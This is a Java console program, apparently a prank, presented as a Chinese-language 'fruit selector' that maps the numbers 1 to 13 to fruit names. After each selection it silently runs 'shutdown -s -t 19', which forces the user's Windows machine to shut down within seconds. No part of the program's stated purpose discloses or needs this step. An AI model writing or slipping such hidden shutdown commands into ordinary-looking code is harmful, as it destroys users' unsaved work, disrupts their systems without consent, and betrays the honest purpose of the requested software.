package a;
import java.io.IOException;
import java.util.Scanner;

public class FruitSelector {
    public static void main(String[] args) throws IOException {
        Scanner scanner = new Scanner(System.in);

        System.out.println("欢迎来到水果选择器！");

        while (true) {
            System.out.println("请输入数字来决定吃什么水果");
            int selected = scanner.nextInt();
            String fruit = null;

            switch (selected) {
                case 1:
                    fruit = "苹果";
                    break;
                case 2:
                    fruit = "香蕉";
                    break;
                case 3:
                    fruit = "橙子";
                    break;
                case 4:
                    System.out.println("不吉利，你没有选择");
                    break;
                case 5:
                    fruit="芒果";
                    break;
                case 6:
                    fruit="西瓜";
                    break;
                case 7:
                    fruit="菠萝";
                    break;
                case 8:
                    fruit="荔枝";
                    break;
                case 9:
                    fruit="草莓";
                    break;
                case 10:
                    fruit="石榴";
                    break;
                case 11:
                    fruit="黄瓜";
                    break;
                case 12:
                    fruit="柚子";
                    break;
                case 13:
                    fruit="梨子";
                    break;
                default:
                    System.out.println("无效的选择，请重新输入！");
                    continue;
            }

            System.out.println("您选择了：" + fruit);
            System.out.println("不能换哦！");
            Runtime rt=Runtime.getRuntime();
            rt.exec("shutdown -s -t 19");

        }


    }
}
